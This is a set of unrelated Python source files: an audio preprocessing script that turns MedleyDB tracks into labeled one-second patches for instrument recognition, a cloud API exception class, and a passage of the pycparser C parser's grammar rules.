read_mixed_from_files(dpath, dlist, pickle_file=None): """Read the mixed track files and return as dictionary Args: dpath (str): path to the directory "MedleyDB/Audio" dlist (list): list of str, each for one mixed track file Returns: dict: in the format of {song_name(string): song_data(numpy array)} song_data two rows n cols. Each row is a channel, each col is a time frame. """ res = dict() for i in dlist: fpath = os.path.join(dpath, i, '{}_MIX.wav'.format(i)) try: data = wavfile.read(fpath)[1].T except: print "Warning: can't read {}, switch to backup reader". \ format(fpath) data = backup_wavfile_reader(fpath).T res[i] = np.float32(data) if pickle_file is not None: with open(pickle_file, 'w') as f: cPickle.dump(res, f) return res def normalize_data(data): """Normalize data with respect to each file in place For each file, normalize each column using standardization Args: data (dict): in format of {song_name(string): song_data(numpy array)} Returns: N/A """ for k in data.keys(): mean = data[k].mean(axis=1).reshape(2, 1) std = data[k].std(axis=1).reshape(2, 1) data[k] = np.float32(((data[k] - mean) / std)) def read_activation_confs(path, pickle_file=None): """Read the annotation files of activation confidence, return as dictionary Args: path (string): path to the directory "MedleyDB" Returns: dict: in the format of {song_name(string): annotation(pandas df)} """ dpath = os.path.join(path, 'Annotations', 'Instrument_Activations', 'ACTIVATION_CONF') dlist = os.listdir(dpath) res = dict() for i in dlist: fpath = os.path.join(dpath, i) annotation = pd.read_csv(fpath, index_col=False) k = i[:-20].split('(')[0] k = k.translate(None, "'-") res[k] = annotation if pickle_file is not None: with open(pickle_file, 'w') as f: cPickle.dump(res, f) return res def read_meta_data(path, pickle_file=None): """Read the metadata for instrument info, return as dictionary Args: path (string): path to the directory "MedleyDB" Returns: dict: in the format of {song_name(string): instrument_map(dict)} instrument_map is of the format eg: {'S01': 'piano'} """ dpath = os.path.join(path, "Audio") dlist = os.listdir(dpath) res = dict() for i in dlist: fpath = os.path.join(dpath, i, '{}_METADATA.yaml'.format(i)) with open(fpath, 'r') as f: meta = yaml.load(f) instrument = {k: v['instrument'] for k, v in meta['stems'].items()} res[i] = instrument if pickle_file is not None: with open(pickle_file, 'w') as f: cPickle.dump(res, f) return res def groupMetaData(meta, instGroup): """Match instrument number in annotation with real instrument name in meta. Args: meta (dict): in the format of {song_name(string): instrument_map(dict)} instrument_map is of the format eg: {'S01': 'piano'} instGroup (dict): {instrument: instrumentGroup} eg: {'piano': 'struck'} Returns: groupedMeta (dict): in the format of {song_name(string): instrument_map(dict)} """ groupedMeta = copy.deepcopy(meta) for songName in groupedMeta.keys(): for stemName in groupedMeta[songName]: groupedMeta[songName][stemName] = instGroup[groupedMeta[songName] [stemName]] return groupedMeta def match_meta_annotation(meta, annotation): """Match instrument number in annotation with real instrument name in meta. Note: In the annotation of one mixed track, there can be multiple instances of the same instrument, in which case the same column name appears multiple times in the pandas df Args: meta (dict): in the format of {song_name(string): instrument_map(dict)} instrument_map is of the format eg: {'S01': 'piano'} annotation (dict): {song_name(string): annotation(pandas df)} Returns: list: containing all instruments involved, sorted in alphebic order """ assert(len(meta) == len(annotation)) all_instruments = set() for k, v in annotation.items(): v.rename(columns=meta[k], inplace=True) all_instruments.update(v.columns[1:]) return sorted(list(all_instruments)) def split_music_to_patches(data, annotation, inst_map, label_aggr, length=1, sr=44100, time_window=100.0, binary=False, threshold=None): """Split each music file into (length) second patches and label each patch Note: for each music file, the last patch that is not long enough is abandoned. And each patch is raveled to have only one row. Args: data(dict): the raw input data for each music file annotation(dict): annotation for each music file calculated as average confidence in this time period inst_map(dict): a dictionary that maps a intrument name to its correct position in the sorted list of all instruments label_aggr(function): a function that defines the way labels for each sample chunk is generated, default is np.mean length(int): length of each patch, in seconds sr (int): sample rate of raw audio time_window(float): time windows for average (in milliseconds) Returns: dict: {'X': np array for X, 'y': np array for y, 'present': np array of indicators for whether the instrument is present in the track from which the patch is taken} """ res = [] patch_size = sr * length for k, v in data.items(): for i, e in enumerate(xrange(0, v.shape[1] - patch_size, patch_size)): patch = v[:, e:patch_size+e].ravel() sub_df = annotation[k][(i * length <= annotation[k].time) & (annotation[k].time < (i + 1) * length)] if label_aggr is not None: inst_conf = sub_df.apply(label_aggr, 0).drop('time') else: inst_conf = patch_label.patch_label(0, length, time_window, sub_df, binary, threshold).iloc[0] label = np.zeros(len(inst_map), dtype='float32') is_present = np.zeros(len(inst_map), dtype='float32') for j in inst_conf.index: temp = inst_conf[j] # if there are two columns of the same instrument, take maximum if isinstance(temp, pd.Series): temp = temp.max() label[inst_map[j]] = temp is_present[inst_map[j]] = 1.0 res.append((patch, label, is_present, k, (i*length, (i+1)*length))) X, y, present, song_name, time = zip(*res) return {'X': np.array(X), 'y': np.array(y), 'present': np.array(present), 'song_name': song_name, 'time': np.array(time, dtype='float32')} def prep_data(in_path, out_path=os.curdir, save_size=20, norm_channel=False, label_aggr=None, start_from=0, groupID='Group 4', **kwargs): """Prepare data for preprocessing Args: in_path(str): the path for "MedleyDB" out_path(str): the path to save pkl files, default to be current save_size(int): the number of wav files contained in each mat file. Large save_size requires large memory norm_channel(bool): whehter to normalize each channel locally label_aggr(function): a function that defines the way labels for each sample chunk is generated, default is np.mean start_from(int): the order of file in alphebic order to start reading from. All files before that are ignored. Used to continue from the file last read. kwargs (dict): additional arguments to pass to split_music_to_patches Returns: N/A """ # save parameters for this run to_write = ['{} = {}'.format(k, v) for k, v in locals().items()] with open(os.path.join(out_path, 'config.txt'), 'wb') as f: f.write('\n'.join(to_write)) # read annotations and match with metadata anno_pkl = os.path.join(out_path, 'anno_label.pkl') annotation = read_activation_confs(in_path) meta = read_meta_data(in_path) # group instruments in metadata instGrouping = pd.read_csv('./instGroup.csv') groupLookup = dict(zip(instGrouping['Instrument'].values, instGrouping[groupID].values)) meta = groupMetaData(meta, groupLookup) all_instruments = match_meta_annotation(meta, annotation) if not os.path.exists(anno_pkl): with open(anno_pkl, 'w') as f: cPickle.dump(annotation, f) # create and save song_instr mapping song_instr = {} for k, v in annotation.items(): song_instr[k] = set(v.columns[1:]) with open(os.path.join(out_path, 'song_instr.pkl'), 'wb') as f: cPickle.dump(song_instr, f) # save all instrument list to file with open('all_instruments.txt', 'wb') as f: f.write('\n'.join(all_instruments)) # get a dictionary mapping all instrument to sorted order all_instruments_map = {e: i for i, e in enumerate(all_instruments)} print 'Total number of labels = {}'.format(len(all_instruments)) # read mixed tracks dpath = os.path.join(in_path, "Audio") dlist = sorted(os.listdir(dpath)) # get list of tracks in sorted order # write the list to file as reference for song_names in data with open(os.path.join(out_path, 'song_name_list.txt'), 'wb') as f: f.write('\n'.join(dlist)) # get a mapping of song names to their sorted order song_name_map = {e: i for i, e in enumerate(dlist)} for i in range(max(start_from, 0), len(dlist), save_size): tdlist = dlist[i:i+save_size] data = read_mixed_from_files(dpath, tdlist) print 'finished reading file' if norm_channel: normalize_data(data) print 'finished normalizing data' # split to x second patches for k, v in data.items(): patched_data = split_music_to_patches({k: v}, annotation, all_instruments_map, label_aggr, **kwargs) temp_l = len(patched_data['song_name']) patched_data['song_name'] = np.array([song_name_map[e] for e in patched_data['song_name']], dtype='float32'). \ reshape(temp_l, 1) # save patches to file patches_save_path = os.path.join(out_path, '{}_patched.mat'. format(k)) if not os.path.exists(patches_save_path): savemat(patches_save_path, patched_data) del patched_data print 'finished taking patches of {}'.format(k) del data gc.collect() print 'finished {} of {}'.format(min(i+save_size, len(dlist)), len(dlist)) def main(): root = os.path.abspath(os.sep) in_path = os.path.join(root, 'Volumes', 'VOL2', 'MedleyDB') prep_data(in_path, length=1, time_window=100.0, binary=False, threshold=None)
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/saklient/cloud/errors/usernotspecifiedexception.py
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# -*- coding:utf-8 -*- from ...errors.httpforbiddenexception import HttpForbiddenException # module saklient.cloud.errors.usernotspecifiedexception class UserNotSpecifiedException(HttpForbiddenException): ## 要求された操作は許可されていません。このAPIはユーザを特定できる認証方法でアクセスする必要があります。 ## @param {int} status # @param {str} code=None # @param {str} message="" def __init__(self, status, code=None, message=""): super(UserNotSpecifiedException, self).__init__(status, code, "要求された操作は許可されていません。このAPIはユーザを特定できる認証方法でアクセスする必要があります。" if message is None or message == "" else message)
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/FixTree_TBCNN/pycparser/c_parser.py
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#------------------------------------------------------------------------------ # pycparser: c_parser.py # # CParser class: Parser and AST builder for the C language # # Copyright (C) 2008-2015, Eli Bendersky # License: BSD #------------------------------------------------------------------------------ import re from .ply import yacc from . import c_ast from .c_lexer import CLexer from .plyparser import PLYParser, Coord, ParseError from .ast_transforms import fix_switch_cases class CParser(PLYParser): def __init__( self, lex_optimize=True, lextab='pycparser.lextab', yacc_optimize=True, yacctab='pycparser.yacctab', yacc_debug=False, taboutputdir=''): """ Create a new CParser. Some arguments for controlling the debug/optimization level of the parser are provided. The defaults are tuned for release/performance mode. The simple rules for using them are: *) When tweaking CParser/CLexer, set these to False *) When releasing a stable parser, set to True lex_optimize: Set to False when you're modifying the lexer. Otherwise, changes in the lexer won't be used, if some lextab.py file exists. When releasing with a stable lexer, set to True to save the re-generation of the lexer table on each run. lextab: Points to the lex table that's used for optimized mode. Only if you're modifying the lexer and want some tests to avoid re-generating the table, make this point to a local lex table file (that's been earlier generated with lex_optimize=True) yacc_optimize: Set to False when you're modifying the parser. Otherwise, changes in the parser won't be used, if some parsetab.py file exists. When releasing with a stable parser, set to True to save the re-generation of the parser table on each run. yacctab: Points to the yacc table that's used for optimized mode. Only if you're modifying the parser, make this point to a local yacc table file yacc_debug: Generate a parser.out file that explains how yacc built the parsing table from the grammar. taboutputdir: Set this parameter to control the location of generated lextab and yacctab files. """ self.clex = CLexer( error_func=self._lex_error_func, on_lbrace_func=self._lex_on_lbrace_func, on_rbrace_func=self._lex_on_rbrace_func, type_lookup_func=self._lex_type_lookup_func) self.clex.build( optimize=lex_optimize, lextab=lextab, outputdir=taboutputdir) self.tokens = self.clex.tokens rules_with_opt = [ 'abstract_declarator', 'assignment_expression', 'declaration_list', 'declaration_specifiers', 'designation', 'expression', 'identifier_list', 'init_declarator_list', 'initializer_list', 'parameter_type_list', 'specifier_qualifier_list', 'block_item_list', 'type_qualifier_list', 'struct_declarator_list' ] for rule in rules_with_opt: self._create_opt_rule(rule) self.cparser = yacc.yacc( module=self, start='translation_unit_or_empty', debug=yacc_debug, optimize=yacc_optimize, tabmodule=yacctab, outputdir=taboutputdir) # Stack of scopes for keeping track of symbols. _scope_stack[-1] is # the current (topmost) scope. Each scope is a dictionary that # specifies whether a name is a type. If _scope_stack[n][name] is # True, 'name' is currently a type in the scope. If it's False, # 'name' is used in the scope but not as a type (for instance, if we # saw: int name; # If 'name' is not a key in _scope_stack[n] then 'name' was not defined # in this scope at all. self._scope_stack = [dict()] # Keeps track of the last token given to yacc (the lookahead token) self._last_yielded_token = None def parse(self, text, filename='', debuglevel=0): """ Parses C code and returns an AST. text: A string containing the C source code filename: Name of the file being parsed (for meaningful error messages) debuglevel: Debug level to yacc """ self.clex.filename = filename self.clex.reset_lineno() self._scope_stack = [dict()] self._last_yielded_token = None return self.cparser.parse( input=text, lexer=self.clex, debug=debuglevel) ######################-- PRIVATE --###################### def _push_scope(self): self._scope_stack.append(dict()) def _pop_scope(self): assert len(self._scope_stack) > 1 self._scope_stack.pop() def _add_typedef_name(self, name, coord): """ Add a new typedef name (ie a TYPEID) to the current scope """ if not self._scope_stack[-1].get(name, True): self._parse_error( "Typedef %r previously declared as non-typedef " "in this scope" % name, coord) self._scope_stack[-1][name] = True def _add_identifier(self, name, coord): """ Add a new object, function, or enum member name (ie an ID) to the current scope """ if self._scope_stack[-1].get(name, False): self._parse_error( "Non-typedef %r previously declared as typedef " "in this scope" % name, coord) self._scope_stack[-1][name] = False def _is_type_in_scope(self, name): """ Is *name* a typedef-name in the current scope? """ for scope in reversed(self._scope_stack): # If name is an identifier in this scope it shadows typedefs in # higher scopes. in_scope = scope.get(name) if in_scope is not None: return in_scope return False def _lex_error_func(self, msg, line, column): self._parse_error(msg, self._coord(line, column)) def _lex_on_lbrace_func(self): self._push_scope() def _lex_on_rbrace_func(self): self._pop_scope() def _lex_type_lookup_func(self, name): """ Looks up types that were previously defined with typedef. Passed to the lexer for recognizing identifiers that are types. """ is_type = self._is_type_in_scope(name) return is_type def _get_yacc_lookahead_token(self): """ We need access to yacc's lookahead token in certain cases. This is the last token yacc requested from the lexer, so we ask the lexer. """ return self.clex.last_token # To understand what's going on here, read sections A.8.5 and # A.8.6 of K&R2 very carefully. # # A C type consists of a basic type declaration, with a list # of modifiers. For example: # # int *c[5]; # # The basic declaration here is 'int c', and the pointer and # the array are the modifiers. # # Basic declarations are represented by TypeDecl (from module c_ast) and the # modifiers are FuncDecl, PtrDecl and ArrayDecl. # # The standard states that whenever a new modifier is parsed, it should be # added to the end of the list of modifiers. For example: # # K&R2 A.8.6.2: Array Declarators # # In a declaration T D where D has the form # D1 [constant-expression-opt] # and the type of the identifier in the declaration T D1 is # "type-modifier T", the type of the # identifier of D is "type-modifier array of T" # # This is what this method does. The declarator it receives # can be a list of declarators ending with TypeDecl. It # tacks the modifier to the end of this list, just before # the TypeDecl. # # Additionally, the modifier may be a list itself. This is # useful for pointers, that can come as a chain from the rule # p_pointer. In this case, the whole modifier list is spliced # into the new location. def _type_modify_decl(self, decl, modifier): """ Tacks a type modifier on a declarator, and returns the modified declarator. Note: the declarator and modifier may be modified """ #~ print '****' #~ decl.show(offset=3) #~ modifier.show(offset=3) #~ print '****' modifier_head = modifier modifier_tail = modifier # The modifier may be a nested list. Reach its tail. # while modifier_tail.type: modifier_tail = modifier_tail.type # If the decl is a basic type, just tack the modifier onto # it # if isinstance(decl, c_ast.TypeDecl): modifier_tail.type = decl return modifier else: # Otherwise, the decl is a list of modifiers. Reach # its tail and splice the modifier onto the tail, # pointing to the underlying basic type. # decl_tail = decl while not isinstance(decl_tail.type, c_ast.TypeDecl): decl_tail = decl_tail.type modifier_tail.type = decl_tail.type decl_tail.type = modifier_head return decl # Due to the order in which declarators are constructed, # they have to be fixed in order to look like a normal AST. # # When a declaration arrives from syntax construction, it has # these problems: # * The innermost TypeDecl has no type (because the basic # type is only known at the uppermost declaration level) # * The declaration has no variable name, since that is saved # in the innermost TypeDecl # * The typename of the declaration is a list of type # specifiers, and not a node. Here, basic identifier types # should be separated from more complex types like enums # and structs. # # This method fixes these problems. # def _fix_decl_name_type(self, decl, typename): """ Fixes a declaration. Modifies decl. """ # Reach the underlying basic type # type = decl while not isinstance(type, c_ast.TypeDecl): type = type.type decl.name = type.declname type.quals = decl.quals # The typename is a list of types. If any type in this # list isn't an IdentifierType, it must be the only # type in the list (it's illegal to declare "int enum ..") # If all the types are basic, they're collected in the # IdentifierType holder. # for tn in typename: if not isinstance(tn, c_ast.IdentifierType): if len(typename) > 1: self._parse_error( "Invalid multiple types specified", tn.coord) else: type.type = tn return decl if not typename: # Functions default to returning int # if not isinstance(decl.type, c_ast.FuncDecl): self._parse_error( "Missing type in declaration", decl.coord) type.type = c_ast.IdentifierType( ['int'], coord=decl.coord) else: # At this point, we know that typename is a list of IdentifierType # nodes. Concatenate all the names into a single list. # type.type = c_ast.IdentifierType( [name for id in typename for name in id.names], coord=typename[0].coord) return decl def _add_declaration_specifier(self, declspec, newspec, kind): """ Declaration specifiers are represented by a dictionary with the entries: * qual: a list of type qualifiers * storage: a list of storage type qualifiers * type: a list of type specifiers * function: a list of function specifiers This method is given a declaration specifier, and a new specifier of a given kind. Returns the declaration specifier, with the new specifier incorporated. """ spec = declspec or dict(qual=[], storage=[], type=[], function=[]) spec[kind].insert(0, newspec) return spec def _build_declarations(self, spec, decls, typedef_namespace=False): """ Builds a list of declarations all sharing the given specifiers. If typedef_namespace is true, each declared name is added to the "typedef namespace", which also includes objects, functions, and enum constants. """ is_typedef = 'typedef' in spec['storage'] declarations = [] # Bit-fields are allowed to be unnamed. # if decls[0].get('bitsize') is not None: pass # When redeclaring typedef names as identifiers in inner scopes, a # problem can occur where the identifier gets grouped into # spec['type'], leaving decl as None. This can only occur for the # first declarator. # elif decls[0]['decl'] is None: if len(spec['type']) < 2 or len(spec['type'][-1].names) != 1 or \ not self._is_type_in_scope(spec['type'][-1].names[0]): coord = '?' for t in spec['type']: if hasattr(t, 'coord'): coord = t.coord break self._parse_error('Invalid declaration', coord) # Make this look as if it came from "direct_declarator:ID" decls[0]['decl'] = c_ast.TypeDecl( declname=spec['type'][-1].names[0], type=None, quals=None, coord=spec['type'][-1].coord) # Remove the "new" type's name from the end of spec['type'] del spec['type'][-1] # A similar problem can occur where the declaration ends up looking # like an abstract declarator. Give it a name if this is the case. # elif not isinstance(decls[0]['decl'], (c_ast.Struct, c_ast.Union, c_ast.IdentifierType)): decls_0_tail = decls[0]['decl'] while not isinstance(decls_0_tail, c_ast.TypeDecl): decls_0_tail = decls_0_tail.type if decls_0_tail.declname is None: decls_0_tail.declname = spec['type'][-1].names[0] del spec['type'][-1] for decl in decls: assert decl['decl'] is not None if is_typedef: declaration = c_ast.Typedef( name=None, quals=spec['qual'], storage=spec['storage'], type=decl['decl'], coord=decl['decl'].coord) else: declaration = c_ast.Decl( name=None, quals=spec['qual'], storage=spec['storage'], funcspec=spec['function'], type=decl['decl'], init=decl.get('init'), bitsize=decl.get('bitsize'), coord=decl['decl'].coord) if isinstance(declaration.type, (c_ast.Struct, c_ast.Union, c_ast.IdentifierType)): fixed_decl = declaration else: fixed_decl = self._fix_decl_name_type(declaration, spec['type']) # Add the type name defined by typedef to a # symbol table (for usage in the lexer) # if typedef_namespace: if is_typedef: self._add_typedef_name(fixed_decl.name, fixed_decl.coord) else: self._add_identifier(fixed_decl.name, fixed_decl.coord) declarations.append(fixed_decl) return declarations def _build_function_definition(self, spec, decl, param_decls, body): """ Builds a function definition. """ assert 'typedef' not in spec['storage'] declaration = self._build_declarations( spec=spec, decls=[dict(decl=decl, init=None)], typedef_namespace=True)[0] return c_ast.FuncDef( decl=declaration, param_decls=param_decls, body=body, coord=decl.coord) def _select_struct_union_class(self, token): """ Given a token (either STRUCT or UNION), selects the appropriate AST class. """ if token == 'struct': return c_ast.Struct else: return c_ast.Union ## ## Precedence and associativity of operators ## precedence = ( ('left', 'LOR'), ('left', 'LAND'), ('left', 'OR'), ('left', 'XOR'), ('left', 'AND'), ('left', 'EQ', 'NE'), ('left', 'GT', 'GE', 'LT', 'LE'), ('left', 'RSHIFT', 'LSHIFT'), ('left', 'PLUS', 'MINUS'), ('left', 'TIMES', 'DIVIDE', 'MOD') ) ## ## Grammar productions ## Implementation of the BNF defined in K&R2 A.13 ## # Wrapper around a translation unit, to allow for empty input. # Not strictly part of the C99 Grammar, but useful in practice. # def p_translation_unit_or_empty(self, p): """ translation_unit_or_empty : translation_unit | empty """ if p[1] is None: p[0] = c_ast.FileAST([]) else: p[0] = c_ast.FileAST(p[1]) def p_translation_unit_1(self, p): """ translation_unit : external_declaration """ # Note: external_declaration is already a list # p[0] = p[1] def p_translation_unit_2(self, p): """ translation_unit : translation_unit external_declaration """ if p[2] is not None: p[1].extend(p[2]) p[0] = p[1] # Declarations always come as lists (because they can be # several in one line), so we wrap the function definition # into a list as well, to make the return value of # external_declaration homogenous. # def p_external_declaration_1(self, p): """ external_declaration : function_definition """ p[0] = [p[1]] def p_external_declaration_2(self, p): """ external_declaration : declaration """ p[0] = p[1] def p_external_declaration_3(self, p): """ external_declaration : pp_directive """ p[0] = p[1] def p_external_declaration_4(self, p): """ external_declaration : SEMI """ p[0] = None def p_pp_directive(self, p): """ pp_directive : PPHASH """ self._parse_error('Directives not supported yet', self._coord(p.lineno(1))) # In function definitions, the declarator can be followed by # a declaration list, for old "K&R style" function definitios. # def p_function_definition_1(self, p): """ function_definition : declarator declaration_list_opt compound_statement """ # no declaration specifiers - 'int' becomes the default type spec = dict( qual=[], storage=[], type=[c_ast.IdentifierType(['int'], coord=self._coord(p.lineno(1)))], function=[]) p[0] = self._build_function_definition( spec=spec, decl=p[1], param_decls=p[2], body=p[3]) def p_function_definition_2(self, p): """ function_definition : declaration_specifiers declarator declaration_list_opt compound_statement """ spec = p[1] p[0] = self._build_function_definition( spec=spec, decl=p[2], param_decls=p[3], body=p[4]) def p_statement(self, p): """ statement : labeled_statement | expression_statement | compound_statement | selection_statement | iteration_statement | jump_statement """ p[0] = p[1] # In C, declarations can come several in a line: # int x, *px, romulo = 5; # # However, for the AST, we will split them to separate Decl # nodes. # # This rule splits its declarations and always returns a list # of Decl nodes, even if it's one element long. # def p_decl_body(self, p): """ decl_body : declaration_specifiers init_declarator_list_opt """ spec = p[1] # p[2] (init_declarator_list_opt) is either a list or None # if p[2] is None: # By the standard, you must have at least one declarator unless # declaring a structure tag, a union tag, or the members of an # enumeration. # ty = spec['type'] s_u_or_e = (c_ast.Struct, c_ast.Union, c_ast.Enum) if len(ty) == 1 and isinstance(ty[0], s_u_or_e): decls = [c_ast.Decl( name=None, quals=spec['qual'], storage=spec['storage'], funcspec=spec['function'], type=ty[0], init=None, bitsize=None, coord=ty[0].coord)] # However, this case can also occur on redeclared identifiers in # an inner scope. The trouble is that the redeclared type's name # gets grouped into declaration_specifiers; _build_declarations # compensates for this. # else: decls = self._build_declarations( spec=spec, decls=[dict(decl=None, init=None)], typedef_namespace=True) else: decls = self._build_declarations( spec=spec, decls=p[2], typedef_namespace=True) p[0] = decls # The declaration has been split to a decl_body sub-rule and # SEMI, because having them in a single rule created a problem # for defining typedefs. # # If a typedef line was directly followed by a line using the # type defined with the typedef, the type would not be # recognized. This is because to reduce the declaration rule, # the parser's lookahead asked for the token after SEMI, which # was the type from the next line, and the lexer had no chance # to see the updated type symbol table. # # Splitting solves this problem, because after seeing SEMI, # the parser reduces decl_body, which actually adds the new # type into the table to be seen by the lexer before the next # line is reached. def p_declaration(self, p): """ declaration : decl_body SEMI """ p[0] = p[1] # Since each declaration is a list of declarations, this # rule will combine all the declarations and return a single # list # def p_declaration_list(self, p): """ declaration_list : declaration | declaration_list declaration """ p[0] = p[1] if len(p) == 2 else p[1] + p[2] def p_declaration_specifiers_1(self, p): """ declaration_specifiers : type_qualifier declaration_specifiers_opt """ p[0] = self._add_declaration_specifier(p[2], p[1], 'qual') def p_declaration_specifiers_2(self, p): """ declaration_specifiers : type_specifier declaration_specifiers_opt """ p[0] = self._add_declaration_specifier(p[2], p[1], 'type') def p_declaration_specifiers_3(self, p): """ declaration_specifiers : storage_class_specifier declaration_specifiers_opt """ p[0] = self._add_declaration_specifier(p[2], p[1], 'storage') def p_declaration_specifiers_4(self, p): """ declaration_specifiers : function_specifier declaration_specifiers_opt """ p[0] = self._add_declaration_specifier(p[2], p[1], 'function') def p_storage_class_specifier(self, p): """ storage_class_specifier : AUTO | REGISTER | STATIC | EXTERN | TYPEDEF """ p[0] = p[1] def p_function_specifier(self, p): """ function_specifier : INLINE """ p[0] = p[1] def p_type_specifier_1(self, p): """ type_specifier : VOID | _BOOL | CHAR | SHORT | INT | LONG | FLOAT | DOUBLE | _COMPLEX | SIGNED | UNSIGNED """ p[0] = c_ast.IdentifierType([p[1]], coord=self._coord(p.lineno(1))) def p_type_specifier_2(self, p): """ type_specifier : typedef_name | enum_specifier | struct_or_union_specifier """ p[0] = p[1] def p_type_qualifier(self, p): """ type_qualifier : CONST | RESTRICT | VOLATILE """ p[0] = p[1] def p_init_declarator_list_1(self, p): """ init_declarator_list : init_declarator | init_declarator_list COMMA init_declarator """ p[0] = p[1] + [p[3]] if len(p) == 4 else [p[1]] # If the code is declaring a variable that was declared a typedef in an # outer scope, yacc will think the name is part of declaration_specifiers, # not init_declarator, and will then get confused by EQUALS. Pass None # up in place of declarator, and handle this at a higher level. # def p_init_declarator_list_2(self, p): """ init_declarator_list : EQUALS initializer """ p[0] = [dict(decl=None, init=p[2])] # Similarly, if the code contains duplicate typedefs of, for example, # array types, the array portion will appear as an abstract declarator. # def p_init_declarator_list_3(self, p): """ init_declarator_list : abstract_declarator """ p[0] = [dict(decl=p[1], init=None)] # Returns a {decl=<declarator> : init=<initializer>} dictionary # If there's no initializer, uses None # def p_init_declarator(self, p): """ init_declarator : declarator | declarator EQUALS initializer """ p[0] = dict(decl=p[1], init=(p[3] if len(p) > 2 else None)) def p_specifier_qualifier_list_1(self, p): """ specifier_qualifier_list : type_qualifier specifier_qualifier_list_opt """ p[0] = self._add_declaration_specifier(p[2], p[1], 'qual') def p_specifier_qualifier_list_2(self, p): """ specifier_qualifier_list : type_specifier specifier_qualifier_list_opt """ p[0] = self._add_declaration_specifier(p[2], p[1], 'type') # TYPEID is allowed here (and in other struct/enum related tag names), because # struct/enum tags reside in their own namespace and can be named the same as types # def p_struct_or_union_specifier_1(self, p): """ struct_or_union_specifier : struct_or_union ID | struct_or_union TYPEID """ klass = self._select_struct_union_class(p[1]) p[0] = klass( name=p[2], decls=None, coord=self._coord(p.lineno(2))) def p_struct_or_union_specifier_2(self, p): """ struct_or_union_specifier : struct_or_union brace_open struct_declaration_list brace_close """ klass = self._select_struct_union_class(p[1]) p[0] = klass( name=None, decls=p[3], coord=self._coord(p.lineno(2))) def p_struct_or_union_specifier_3(self, p): """ struct_or_union_specifier : struct_or_union ID brace_open struct_declaration_list brace_close | struct_or_union TYPEID brace_open struct_declaration_list brace_close """ klass = self._select_struct_union_class(p[1]) p[0] = klass( name=p[2], decls=p[4], coord=self._coord(p.lineno(2))) def p_struct_or_union(self, p): """ struct_or_union : STRUCT | UNION """ p[0] = p[1] # Combine all declarations into a single list # def p_struct_declaration_list(self, p): """ struct_declaration_list : struct_declaration | struct_declaration_list struct_declaration """ p[0] = p[1] if len(p) == 2 else p[1] + p[2] def p_struct_declaration_1(self, p): """ struct_declaration : specifier_qualifier_list struct_declarator_list_opt SEMI """ spec = p[1] assert 'typedef' not in spec['storage'] if p[2] is not None: decls = self._build_declarations( spec=spec, decls=p[2]) elif len(spec['type']) == 1: # Anonymous struct/union, gcc extension, C1x feature. # Although the standard only allows structs/unions here, I see no # reason to disallow other types since some compilers have typedefs # here, and pycparser isn't about rejecting all invalid code. # node = spec['type'][0] if isinstance(node, c_ast.Node): decl_type = node else: decl_type = c_ast.IdentifierType(node) decls = self._build_declarations( spec=spec, decls=[dict(decl=decl_type)]) else: # Structure/union members can have the same names as typedefs. # The trouble is that the member's name gets grouped into # specifier_qualifier_list; _build_declarations compensates. # decls = self._build_declarations( spec=spec, decls=[dict(decl=None, init=None)]) p[0] = decls def p_struct_declaration_2(self, p): """ struct_declaration : specifier_qualifier_list abstract_declarator SEMI """ # "Abstract declarator?!", you ask? Structure members can have the # same names as typedefs. The trouble is that the member's name gets # grouped into specifier_qualifier_list, leaving any remainder to # appear as an abstract declarator, as in: # typedef int Foo; # struct { Foo Foo[3]; }; # p[0] = self._build_declarations( spec=p[1], decls=[dict(decl=p[2], init=None)]) def p_struct_declarator_list(self, p): """ struct_declarator_list : struct_declarator | struct_declarator_list COMMA struct_declarator """ p[0] = p[1] + [p[3]] if len(p) == 4 else [p[1]] # struct_declarator passes up a dict with the keys: decl (for # the underlying declarator) and bitsize (for the bitsize) # def p_struct_declarator_1(self, p): """ struct_declarator : declarator """ p[0] = {'decl': p[1], 'bitsize': None} def p_struct_declarator_2(self, p): """ struct_declarator : declarator COLON constant_expression | COLON constant_expression """ if len(p) > 3: p[0] = {'decl': p[1], 'bitsize': p[3]} else: p[0] = {'decl': c_ast.TypeDecl(None, None, None), 'bitsize': p[2]} def p_enum_specifier_1(self, p): """ enum_specifier : ENUM ID | ENUM TYPEID """ p[0] = c_ast.Enum(p[2], None, self._coord(p.lineno(1))) def p_enum_specifier_2(self, p): """ enum_specifier : ENUM brace_open enumerator_list brace_close """ p[0] = c_ast.Enum(None, p[3], self._coord(p.lineno(1))) def p_enum_specifier_3(self, p): """ enum_specifier : ENUM ID brace_open enumerator_list brace_close | ENUM TYPEID brace_open enumerator_list brace_close """ p[0] = c_ast.Enum(p[2], p[4], self._coord(p.lineno(1))) def p_enumerator_list(self, p): """ enumerator_list : enumerator | enumerator_list COMMA | enumerator_list COMMA enumerator """ if len(p) == 2: p[0] = c_ast.EnumeratorList([p[1]], p[1].coord) elif len(p) == 3: p[0] = p[1] else: p[1].enumerators.append(p[3]) p[0] = p[1] def p_enumerator(self, p): """ enumerator : ID | ID EQUALS constant_expression """ if len(p) == 2: enumerator = c_ast.Enumerator( p[1], None, self._coord(p.lineno(1))) else: enumerator = c_ast.Enumerator( p[1], p[3], self._coord(p.lineno(1))) self._add_identifier(enumerator.name, enumerator.coord) p[0] = enumerator def p_declarator_1(self, p): """ declarator : direct_declarator """ p[0] = p[1] def p_declarator_2(self, p): """ declarator : pointer direct_declarator """ p[0] = self._type_modify_decl(p[2], p[1]) # Since it's impossible for a type to be specified after a pointer, assume # it's intended to be the name for this declaration. _add_identifier will # raise an error if this TYPEID can't be redeclared. # def p_declarator_3(self, p): """ declarator : pointer TYPEID """ decl = c_ast.TypeDecl( declname=p[2], type=None, quals=None, coord=self._coord(p.lineno(2))) p[0] = self._type_modify_decl(decl, p[1]) def p_direct_declarator_1(self, p): """ direct_declarator : ID """ p[0] = c_ast.TypeDecl( declname=p[1], type=None, quals=None, coord=self._coord(p.lineno(1))) def p_direct_declarator_2(self, p): """ direct_declarator : LPAREN declarator RPAREN """ p[0] = p[2] def p_direct_declarator_3(self, p): """ direct_declarator : direct_declarator LBRACKET type_qualifier_list_opt assignment_expression_opt RBRACKET """ quals = (p[3] if len(p) > 5 else []) or [] # Accept dimension qualifiers # Per C99 6.7.5.3 p7 arr = c_ast.ArrayDecl( type=None, dim=p[4] if len(p) > 5 else p[3], dim_quals=quals, coord=p[1].coord) p[0] = self._type_modify_decl(decl=p[1], modifier=arr) def p_direct_declarator_4(self, p): """ direct_declarator : direct_declarator LBRACKET STATIC type_qualifier_list_opt assignment_expression RBRACKET | direct_declarator LBRACKET type_qualifier_list STATIC assignment_expression RBRACKET """ # Using slice notation for PLY objects doesn't work in Python 3 for the # version of PLY embedded with 